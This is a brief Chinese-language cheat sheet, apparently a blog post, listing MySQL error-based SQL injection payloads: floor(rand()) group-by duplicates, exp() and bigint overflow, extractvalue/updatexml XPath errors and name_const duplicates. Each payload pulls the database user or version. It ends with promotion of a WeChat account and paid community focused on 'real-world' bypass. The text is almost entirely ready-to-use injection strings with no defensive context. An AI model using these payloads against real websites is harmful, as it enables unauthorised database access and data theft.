SQL盲注之报错注入
1.报错注入
payload: union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a %23
2.利用double数值类型超出范围进行报错注入
payload: union select (exp(~(select * from (select user())a))),2,3 %23
3.利用bigint 溢出进行报错注入
payload:union select (!(select * from (select user())x) - ~0),2,3%23
4.利用xpath 函数报错注入
payload: and extractvalue(1,concat(0x7e,(select @@version),0x7e))%23
payload: and updatexml(1,concat(0x7e,(select @@version),0x7e),1)%23
5.利用数据的重复性
payload: union select 1,2,3 from (select name_const(version(),1), name_const(version(),1))x %23
更多精彩内容:欢迎关注公众号和知识星球
专注实战/Bypass
![](https://files-cdn.cnblogs.com/files/pangya/公众号名片的副本.bmp?t=1653271768)
![](https://files-cdn.cnblogs.com/files/pangya/知识星球二维码.bmp?t=1653273228)